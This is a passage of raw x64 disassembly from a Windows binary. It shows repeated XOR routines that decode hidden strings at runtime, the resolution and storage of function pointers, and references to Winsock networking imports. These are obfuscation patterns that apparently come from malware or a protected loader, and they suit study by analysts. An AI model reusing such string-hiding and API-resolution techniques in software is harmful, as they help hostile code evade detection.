imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14000dc00
lea rcx, [rbp - 0x50]
call fcn.1400043c0
nop
mov rdx, qword [rbp + 0x3d8]
cmp rdx, 0xf
jbe 0x14000dc7e
inc rdx
mov rcx, qword [rbp + 0x3c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dc79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dc79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
mov qword [rbp + 0x3d0], r12
mov qword [rbp + 0x3d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x3c0], 0
mov rdx, qword [rbp + 0x620]
cmp rdx, 0xf
jbe 0x14000dcdb
inc rdx
mov rcx, qword [rbp + 0x608]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dcd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dcd6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
mov eax, 1
mov rcx, qword [rbp + 0x680]
xor rcx, rsp
call fcn.140079ae0
lea r11, [rsp + 0x830]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movsd xmm0, qword [str.YTR_WXn1_E]
movsd qword [rbp + 0xd8], xmm0
mov eax, dword [0x14008d620]
mov dword [rbp + 0xe0], eax
cmp byte [0x14008d623], 0
je 0x14000ded0
mov r8d, r12d
cmp ebx, 2
jl 0x14000de85
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm2, xmmword [0x14008e8d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
mov eax, dword [0x14008e980]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.YTR_WXn1_E]
xorps xmm2, xmm0
movd dword [rbp + 0xd8], xmm2
movdqa xmm3, xmmword [0x14008e8e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14000dea0
lea rdx, [rbp + 0xd8]
lea rcx, [rsp + 0x58]
call fcn.140003800
nop
lea rdx, [0x14009b140]
lea rcx, [rsp + 0x58]
call fcn.1400074c0
movzx edi, al
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000df36
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000df31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
mov ecx, r12d
test dil, dil
je 0x14000e114
movups xmm0, xmmword [0x14008d5b0]
movups xmmword [rbp + 0x320], xmm0
movups xmm1, xmmword [0x14008d5c0]
movups xmmword [rbp + 0x330], xmm1
movsd xmm0, qword [0x14008d5d0]
movsd qword [rbp + 0x340], xmm0
movzx eax, byte [0x14008d5d8]
mov byte [rbp + 0x348], al
cmp ebx, 2
jl 0x14000e0c2
movdqa xmm5, xmmword [0x14008e8d0]
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm6, xmmword [0x14008e8f0]
movdqa xmm0, xmmword [0x14008e980]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rbp + 0x320]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x14000dfc0
cmp ecx, 0x29
jge 0x14000e0fc
movsxd rax, ecx
lea r8, [rbp + 0x320]
add r8, rax
nop
mov eax, 0x22b63cbf
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3b
movzx eax, cl
sub al, dl
add al, 0x3a
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x29
jl 0x14000e0d0
lea rdx, [rbp + 0x320]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018dc0
jmp 0x14000e68d
movups xmm0, xmmword [0x14008dfe8]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [0x14008dff8]
movups xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [0x14008e008]
movups xmmword [rsp + 0x78], xmm0
mov eax, dword [0x14008e018]
mov dword [rbp - 0x78], eax
movzx eax, byte [0x14008e01c]
mov byte [rbp - 0x74], al
cmp ebx, 2
jl 0x14000e292
movdqa xmm5, xmmword [0x14008e8d0]
mov ecx, r12d
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm6, xmmword [0x14008e8f0]
movdqa xmm0, xmmword [0x14008e980]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x58]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x30
jl 0x14000e190
cmp ecx, 0x35
jge 0x14000e2cc
movsxd rax, ecx
lea r8, [rsp + 0x58]
add r8, rax
nop dword [rax]
mov eax, 0x22b63cbf
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3b
movzx eax, cl
sub al, dl
add al, 0x3a
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x35
jl 0x14000e2a0
lea rdx, [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018dc0
movsd xmm0, qword [str.YTR_WXn1_E]
movsd qword [rbp + 0xd8], xmm0
mov eax, dword [0x14008d620]
mov dword [rbp + 0xe0], eax
cmp byte [0x14008d623], 0
je 0x14000e460
mov r8d, r12d
cmp ebx, 2
jl 0x14000e41a
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm2, xmmword [0x14008e8d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
mov eax, dword [0x14008e980]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.YTR_WXn1_E]
xorps xmm2, xmm0
movd dword [rbp + 0xd8], xmm2
movdqa xmm3, xmmword [0x14008e8e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14000e430
lea rdx, [rbp + 0xd8]
lea rcx, [rsp + 0x58]
call fcn.140003800
nop
lea rdx, [rsp + 0x58]
lea rcx, [0x14009b140]
call fcn.140005c20
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000e4c4
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e4bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e4bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
movups xmm0, xmmword [0x14008d800]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [0x14008d810]
movups xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [0x14008d820]
movups xmmword [rsp + 0x78], xmm0
movzx eax, byte [0x14008d830]
mov byte [rbp - 0x78], al
mov ecx, r12d
cmp ebx, 2
jl 0x14000e632
movdqa xmm5, xmmword [0x14008e8d0]
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm6, xmmword [0x14008e8f0]
movdqa xmm0, xmmword [0x14008e980]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x58]
mov r8d, dword [rsp + 0x40]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x30
jl 0x14000e530
cmp ecx, 0x31
jge 0x14000e66c
movsxd rax, ecx
lea r8, [rsp + 0x58]
add r8, rax
nop dword [rax]
mov eax, 0x22b63cbf
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3b
movzx eax, cl
sub al, dl
add al, 0x3a
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x31
jl 0x14000e640
lea rdx, [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018dc0
lea rdx, [0x140018d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14009c4d8]
call fcn.140027880
mov rcx, qword [0x14009c4d8]
call fcn.140027970
movsd xmm0, qword [str.U_P_O_..C]
movsd qword [rbp + 0xd8], xmm0
movzx eax, word [0x14008dfc0]
mov word [rbp + 0xe0], ax
cmp byte [0x14008dfc1], 0
je 0x14000e712
mov byte [rbp + 0xd8], 0x66
xor byte [rbp + 0xd9], 0x3b
xor byte [rbp + 0xda], 0x3c
xor byte [rbp + 0xdb], 0x3d
xor byte [rbp + 0xdc], 0x3e
xor byte [rbp + 0xdd], 0x3f
xor byte [rbp + 0xde], 0x40
xor byte [rbp + 0xdf], 0x41
xor byte [rbp + 0xe0], 0x42
xor byte [rbp + 0xe1], 0x43
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x108]
call fcn.140003800
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14000be10
nop
mov rcx, rax
call fcn.140004600
mov qword [0x14009c2e0], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000e782
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e77d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e77d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
mov rax, qword [0x14008e068]
mov qword [rbp + 0xd0], rax
cmp byte [0x14008e06f], 0
je 0x14000e8f0
cmp ebx, 2
jl 0x14000e8aa
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm2, xmmword [0x14008e8d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
mov eax, dword [0x14008e980]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd0]
xorps xmm2, xmm1
movd dword [rbp + 0xd0], xmm2
movdqa xmm3, xmmword [0x14008e8e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd4]
xorps xmm2, xmm1
movd dword [rbp + 0xd4], xmm2
jmp 0x14000e8f0
lea r9, [rbp + 0xd0]
mov r8d, r12d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000e8c0
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x58]
call fcn.140003800
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.14000be10
nop
mov rcx, rax
call fcn.140004600
mov rcx, rax
mov qword [0x14009c2b0], rax
mov rdx, qword [rbp + 0x120]
cmp rdx, 0xf
jbe 0x14000e96e
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e962
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000e962
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
mov rcx, qword [0x14009c2b0]
mov qword [rbp + 0x118], r12
mov qword [rbp + 0x120], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x108], 0
mov r10, qword [0x14009c4d8]
mov rdx, qword [r10]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movups xmmword [rbp], xmm1
xorps xmm2, xmm2
movups xmmword [rbp + 0x10], xmm2
xorps xmm3, xmm3
movups xmmword [rbp + 0x20], xmm3
mov qword [rbp + 0x30], rax
add rdx, rcx
je 0x14000e9dd
mov qword [rsp + 0x20], r12
lea r9d, [rax + 0x48]
lea r8, [rbp - 0x10]
mov rcx, r10
call fcn.140027740
movups xmm3, xmmword [rbp + 0x20]
movups xmm2, xmmword [rbp + 0x10]
movups xmm1, xmmword [rbp]
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [0x14009c420], xmm0
movups xmmword [0x14009c430], xmm1
movups xmmword [0x14009c440], xmm2
movups xmmword [0x14009c450], xmm3
movsd xmm0, qword [rbp + 0x30]
movsd qword [0x14009c460], xmm0
mov eax, dword [str.OLSOR__]
mov dword [rbp + 0xd0], eax
movzx ecx, word [0x14008e028]
mov word [rbp + 0xd4], cx
movzx eax, byte [0x14008e02a]
mov byte [rbp + 0xd0], 0x75
xor byte [rbp + 0xd1], 0x3b
xor byte [rbp + 0xd2], 0x3c
xor byte [rbp + 0xd3], 0x3d
xor cl, 0x3e
mov byte [rbp + 0xd4], cl
xor byte [rbp + 0xd5], 0x3f
xor al, 0x40
mov byte [rbp + 0xd6], al
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x108]
call fcn.140003800
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14000be10
nop
mov rcx, rax
call fcn.140004600
mov qword [0x14009c290], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000eacb
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eac6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000eac6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
mov eax, dword [str.RRH_QG_]
mov dword [rbp + 0xd0], eax
movzx ecx, word [0x14008d864]
mov word [rbp + 0xd4], cx
movzx eax, byte [0x14008d866]
mov byte [rbp + 0xd0], 0x68
xor byte [rbp + 0xd1], 0x3b
xor byte [rbp + 0xd2], 0x3c
xor byte [rbp + 0xd3], 0x3d
xor cl, 0x3e
mov byte [rbp + 0xd4], cl
xor byte [rbp + 0xd5], 0x3f
xor al, 0x40
mov byte [rbp + 0xd6], al
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x108]
call fcn.140003800
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14000be10
nop
mov rcx, rax
call fcn.140004600
mov qword [0x14009c350], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000eb90
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000eb8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
movsd xmm0, qword [str.IXNX_Q3_8D]
movsd qword [rbp + 0xd8], xmm0
movzx ecx, word [0x14008df88]
mov word [rbp + 0xe0], cx
movzx eax, byte [0x14008df8a]
mov byte [rbp + 0xd8], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0xd9], 0x3b
xor byte [rbp + 0xda], 0x3c
xor byte [rbp + 0xdb], 0x3d
xor byte [rbp + 0xdc], 0x3e
xor byte [rbp + 0xdd], 0x3f
xor byte [rbp + 0xde], 0x40
xor byte [rbp + 0xdf], 0x41
xor cl, 0x42
mov byte [rbp + 0xe0], cl
xor byte [rbp + 0xe1], 0x43
xor al, 0x44
mov byte [rbp + 0xe2], al
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x108]
call fcn.140003800
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14000be10
nop
mov rcx, rax
call fcn.140004600
mov qword [0x14009c358], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000ec75
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ec70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ec70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
movsd xmm0, qword [0x14008d628]
movsd qword [rbp + 0xd8], xmm0
mov eax, dword [0x14008d630]
mov dword [rbp + 0xe0], eax
movzx eax, byte [0x14008d634]
mov byte [rbp + 0xe4], al
mov r8d, r12d
cmp ebx, 2
jl 0x14000edb2
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm2, xmmword [0x14008e8d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
mov eax, dword [0x14008e980]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14008d628]
xorps xmm2, xmm0
movd dword [rbp + 0xd8], xmm2
movdqa xmm3, xmmword [0x14008e8e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000edc0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x108]
call fcn.140003800
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14000be10
nop
mov rcx, rax
call fcn.140004600
mov qword [0x14009c3b8], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000ee60
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
